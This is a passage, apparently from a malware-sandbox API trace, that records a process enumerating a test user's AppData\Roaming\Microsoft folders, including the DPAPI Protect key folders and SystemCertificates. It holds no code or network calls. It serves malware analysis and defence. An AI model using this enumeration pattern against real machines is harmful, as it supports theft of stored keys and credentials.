lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x62 [0068.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.446] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1534390919-4215197118-2202912847-1000"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xbe05fdf0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xbe1dcbb0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xbe1dcbb0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.446] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x62 [0068.446] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.446] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.446] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.446] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.446] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.447] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x62 [0068.447] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.448] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.448] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.448] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.448] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.448] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.448] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x61 [0068.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.448] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa807d7f0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.449] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x61 [0068.449] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.457] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.457] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.457] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.457] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.457] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.458] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x61 [0068.458] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.459] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.459] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.459] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.459] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.459] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.459] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x33 [0068.459] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.460] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.460] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.460] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.460] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.460] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.460] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.460] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x35 [0068.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\publisher"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5f0354d0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x6ecd04b0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x6ecd04b0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.461] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x35 [0068.461] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.461] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.461] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.461] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.461] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.461] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x35 [0068.461] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.462] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.462] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.462] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.462] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x32 [0068.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\speech"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x71710b30, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x71710b30, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x32 [0068.462] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.462] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.463] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.463] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.463] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.463] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", lpFilePart=0x0) returned 0x38 [0068.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\speech\\files"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x71710b30, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x71710b30, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x71710b30, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", lpFilePart=0x0) returned 0x38 [0068.466] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.467] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.467] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.467] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.467] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", lpFilePart=0x0) returned 0x45 [0068.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x71710b30, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x71710b30, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x71710b30, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", lpFilePart=0x0) returned 0x45 [0068.467] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.467] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.467] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.468] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.468] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.468] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", lpFilePart=0x0) returned 0x45 [0068.468] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.468] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.468] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.468] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.468] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.468] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", lpFilePart=0x0) returned 0x38 [0068.469] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.469] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.469] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.469] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.469] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x32 [0068.469] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.469] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.469] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.469] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.470] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3e [0068.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.470] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3e [0068.470] FindFirstFileW (in: 